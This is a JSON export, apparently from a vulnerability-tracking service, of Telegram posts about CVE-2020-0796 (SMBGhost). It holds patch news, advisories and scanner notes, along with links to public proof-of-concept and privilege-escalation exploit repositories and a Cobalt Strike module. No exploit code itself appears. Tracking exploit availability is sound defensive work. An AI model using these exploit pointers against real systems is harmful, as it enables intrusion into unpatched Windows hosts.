"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/BlueRedTeam/1207", "content": "#exploit \nhttps://github.com/danigargu/CVE-2020-0796\n@BlueRedTeam", "creation_timestamp": "2021-11-22T20:23:30.000000Z"}, {"uuid": "77801744-97fc-41de-a03e-c749401bb1fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/canyoupwnme/6321", "content": "SMBGhost\nSimple scanner for CVE-2020-0796 - SMBv3 RCE.\nhttps://github.com/ollypwn/SMBGhost", "creation_timestamp": "2020-03-12T08:22:22.000000Z"}, {"uuid": "548436bd-765a-4bc2-b5e2-1c8dc8f1eb8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/canyoupwnme/6324", "content": "CVE-2020-0796 | Windows SMBv3 Client/Server Remote Code Execution Vulnerability\nSecurity Vulnerability\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796", "creation_timestamp": "2020-03-12T18:15:03.000000Z"}, {"uuid": "826b5a39-8b9c-46d5-8214-d24adca75af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/canyoupwnme/6346", "content": "CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost\nhttps://github.com/danigargu/CVE-2020-0796", "creation_timestamp": "2020-03-30T20:31:43.000000Z"}, {"uuid": "e17ac0da-b3dc-47e6-b78c-fde7c39a3aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/SecLabNews/7084", "content": "\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMBv3. CVE-2020-0796 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u00ab\u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0435\u00bb \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u043a \u0434\u0440\u0443\u0433\u043e\u043c\u0443.    \nMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SMBv3", "creation_timestamp": "2020-03-13T08:05:02.000000Z"}, {"uuid": "c7df0294-04ad-4231-9450-fdd4253f99eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/SecLabNews/7405", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Ricerca Security \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u044b\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u00ab\u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0439\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows 10 (CVE-2020-0796), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434.\n\n\n\u041d\u043e\u0432\u044b\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f SMBGhost \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434", "creation_timestamp": "2020-04-21T08:00:02.000000Z"}, {"uuid": "6a33a4f7-b9bc-406a-9a9a-dd76258c4d56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/SecLabNews/7807", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 ZecOps \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-1206) \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 Microsoft Server Message Block (SMB). \u0415\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u00ab\u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0439\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e SMBGhost \u0432 Windows 10 (CVE-2020-0796) \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.    \nSMBleed \u2014 \u043d\u043e\u0432\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 SMB-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435", "creation_timestamp": "2020-06-27T17:45:13.000000Z"}, {"uuid": "5598eeaf-0736-4ccc-b80d-cc06544ffbc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/SecLabNews/7248", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 ZecOps \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SMBGhost (CVE-2020-0796) \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.    \n\u0414\u043b\u044f \u00ab\u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0439\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows 10 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442", "creation_timestamp": "2020-04-01T16:00:21.000000Z"}, {"uuid": "20a43b86-9d7f-4289-ac53-bdbe18e0cb00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/SecLabNews/7789", "content": "\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0421\u0428\u0410 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u00ab\u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0439\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows 10 (CVE-2020-0796) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a.    \nCISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u043e \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SMBGhost", "creation_timestamp": "2020-06-08T15:00:02.000000Z"}, {"uuid": "849dcb95-1719-4899-bb0e-d3b642f6c461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/215", "content": "CVE-2020-0796 Remote overflow POC\n\nCVE-2020\u20130796, is pre-remote code execution vulnerability that resides in the Server Message Block 3.0 (SMBv3) network communication protocol\n\nWhich devices does the CVE-2020-0796 affect?\n\n+ Windows 10 Version 1903 for 32-bit Systems\n\n+ Windows 10 Version 1903 for ARM64-based Systems\n\n+ Windows 10 Version 1903 for x64-based Systems\n\n+ Windows 10 Version 1909 for 32-bit Systems\n\n+ Windows 10 Version 1909 for ARM64-based Systems\n\n+ Windows 10 Version 1909 for x64-based Systems\n\n+ Windows Server, version 1903 (Server Core installation)\n\n+ Windows Server, version 1909 (Server Core installation)\n\n\nGitHub\nGitHub\n\n#CVE #Microsoft #POC\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/MRvirusIRBOT\n\ud83d\udce2 T.me/BugCod3", "creation_timestamp": "2023-04-25T09:41:03.000000Z"}, {"uuid": "e6576557-fac3-4774-a96e-57242f8ab00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/S_E_Reborn/4178", "content": "https://blog.projectdiscovery.io/nuclei-v3-featurefusion\n\n\u0412\u044b\u0448\u0435\u043b Nuclei v3!\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0435\u0440\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438:\n\u2014 Code Protocol - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0442\u0435\u043c\u043f\u043b\u0435\u0439\u0442\u0430\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 Python, bash \u0438 Javascript. \u0422\u0435\u043f\u0435\u0440\u044c, \u043f\u043e\u043c\u0438\u043c\u043e \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043c\u043e\u0436\u043d\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u0434\u043b\u044f \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0430 \u0435\u0449\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, sqlmap).\n\u2014 Template Signing & Verification - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e ECDSA, \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0447\u0443\u0436\u0438\u0435. \u0411\u0430\u0437\u043e\u0432\u044b\u0435 nuclei-templates \u0443\u0436\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 ProjectDiscovery.\n\u2014 Multi-Protocol Engine - \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0448\u0430\u0433\u043e\u0432, \u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0439\u0442\u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u044b, \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c Subdomain Takeover.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u043e\u0432\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439:\n\u2014 Fingerprint SSH Server (SSH Protocol)\n\u2014 CVE-2020-0796 (aka SMBGhost)\n\u2014 MS SQL Server Credential Stuffing\n\u2014 Redis Password Bruteforce\n\u2014 SSH Credential Stuffing\n\n\u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c DSL v2 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0444\u0430\u0437\u0437\u0438\u043d\u0433\u0430 (\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u0442\u0435\u043b\u043e \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435).", "creation_timestamp": "2023-10-25T10:43:32.000000Z"}, {"uuid": "91031466-62d5-40d0-a738-5d55b4a9c339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/789", "content": "#info\nMicrosoft Releases Patch for Windows SMBv3 Compression Vulnerability CVE-2020-0796\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796", "creation_timestamp": "2024-10-10T02:48:36.000000Z"}, {"uuid": "3f8cbb9d-4002-4fae-8546-decf1dbc810b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/777", "content": "#exploit\n1. CVE-2020-9380:\nIPTV Smarters Exploit\nhttps://github.com/migueltarga/CVE-2020-9380\n\n2. CVE-2020-0796:\nMicrosoft SMBv3 compression RCE\nhttps://kb.cert.org/vuls/id/872016/\n]-> Guide for Disabling SMBv3 Compression\n]-> Preventing SMB traffic from lateral connections and entering or leaving the network\n]-> Scan HOST/CIDR with nmap script", "creation_timestamp": "2024-10-17T16:41:05.000000Z"}, {"uuid": "4018df1f-418e-4d58-a88e-e4c6367a0653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/874", "content": "#exploit\nCVE-2020-0796:\nPublic LPE exploit for SMBv3 bug\nhttps://github.com/danigargu/CVE-2020-0796\n]-> Pre-Auth PoC: https://github.com/ZecOps/CVE-2020-0796-POC", "creation_timestamp": "2023-08-31T19:19:51.000000Z"}, {"uuid": "defc8477-9453-4662-8e93-9a373805dd25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2358", "content": "#Analytics\nTop-10 exploited vulnerabilities in July-December 2020:\n1. CVE-2020-0601 - CurveBall CryptoAPI\nhttps://t.me/cybersecuritytechnologies/628\n2. CVE-2019-17026/CVE-2020-0674 - 0-Day Vulnerability in Mozilla Firefox\nhttps://t.me/cybersecuritytechnologies/914\n3. CVE-2020-0796 - Windows SMBv3 LPE exploit\nhttps://t.me/cybersecuritytechnologies/874\n4. CVE-2020-1472 - Microsoft Zerologon\nhttps://t.me/cybersecuritytechnologies/1742\n5. CVE-2020-5902/5903 - F5 BigIP TMUI Critical RCE\nhttps://t.me/cybersecuritytechnologies/1378\n6. CVE-2018-10561 - Dasan GPON Router Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/51\n7. CVE-2020-1350 - Exploit SIGRed\nhttps://t.me/cybersecuritytechnologies/1422\n8. CVE-2020-15999 + CVE-2020-17087 = Win Kernel cng.sys buffer overflow 0-Day\nhttps://t.me/cybersecuritytechnologies/1960\nhttps://t.me/cybersecuritytechnologies/2010\n9. CVE-2020-16898 - \"Bad Neighbor\" RCE Vulnerability\nhttps://t.me/cybersecuritytechnologies/1912\n10. CVE-2020-1938 - \"Ghostcat\" Apache Tomcat\nhttps://t.me/cybersecuritytechnologies/705", "creation_timestamp": "2025-01-04T20:00:34.000000Z"}, {"uuid": "e2bdbef7-c593-4fa4-b7e1-2f213fabc17b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8390", "content": "#exploit\n1. CVE-2023-29007:\nGit Arbitrary Configuration Injection\nhttps://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007\n\n2. CVE-2020-0796:\nWindows Protocol TestSuites is to trigger BSoD\nhttps://github.com/Ajomix/CVE-2020-0796", "creation_timestamp": "2024-03-19T03:31:34.000000Z"}, {"uuid": "942d42aa-c61d-436e-b057-1af59a0f35ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/cibsecurity/10474", "content": "\ud83d\udd0f Microsoft Patches SMBv3 Bug \ud83d\udd0f\n\nMicrosoft issued an out-of-band security update for a critical SMB bug (CVE-2020-0796) on Thursday.\n\n\ud83d\udcd6 Read\n\nvia \"Subscriber Blog RSS Feed \".", "creation_timestamp": "2020-03-12T21:17:12.000000Z"}, {"uuid": "a93648ea-d36a-4cb2-9b41-6a35442e6a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/cibsecurity/10441", "content": "\u274c Wormable, Unpatched Microsoft Bug Threatens Corporate LANs \u274c\n\nCVE-2020-0796 affects version 3.1.1 of Microsoft\u2019s SMB file-sharing system and was not included in Patch Tuesday.\n\n\ud83d\udcd6 Read\n\nvia \"Threatpost\".", "creation_timestamp": "2020-03-11T18:34:20.000000Z"}, {"uuid": "9821c294-f64c-4eac-be9e-05ec38ab70e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/c0baltstrike/223", "content": "CVE-2020-0796 (SMBGhost) as a Beacon Object File\n\nhttps://www.youtube.com/watch?v=HrYtctprUUc\n\nhttps://github.com/rsmudge/CVE-2020-0796-BOF", "creation_timestamp": "2026-08-04T12:00:09.300684Z"}, {"uuid": "d991eb7d-52af-4076-966c-751f498fb868", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/48e15610-a505-4067-8dec-4627e36bcbe7", "content": "", "creation_timestamp": "2026-05-07T22:16:31.000000Z"}, {"uuid": "c878ea29-fe9d-4871-aaa1-233e5db6fb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/wh_lab/59", "content": "\ud83d\uddbc\ufe0f \ud83d\udd04 Moriarty v1.2\n\n\u0427\u0435\u043a\u0435\u0440 CVEs \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 C# \u0434\u043b\u044f \u041e\u0421 \ud83c\udfe0 Windows\n\n\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\n\nWindows 10 (Versions: 1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H1, 22H2)\nWindows 11 (Versions: 21H2, 22H1, 22H2, 23H1)\nWindows Server 2016, 2019, 2022\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (35):\n\nMS10-015\nMS10-092\nMS13-053\nMS13-081\nMS14-058\nMS15-051\nMS15-078\nMS16-016\nMS16-032\nMS16-034\nMS16-135\nCVE-2017-7199\nCVE-2019-0836\nCVE-2019-0836\nCVE-2019-1064\nCVE-2019-1130\nCVE-2019-1253\nCVE-2019-1315\nCVE-2019-1385\nCVE-2019-1388\nCVE-2019-1405\nCVE-2020-0668\nCVE-2020-0683\nCVE-2020-0796\nCVE-2020-1013\nCVE-2020-1013\nCVE-2021-26855\nCVE-2021-26857\nCVE-2021-26858\nCVE-2021-27065\nCVE-2021-44228\nCVE-2021-36934\nCVE-2022-40140\nCVE-2022-22965\nCVE-2023-36664\n\n1.2 added:\n2023-23397\n2022-34718\n\n\ud83d\udc49 \u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u043e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 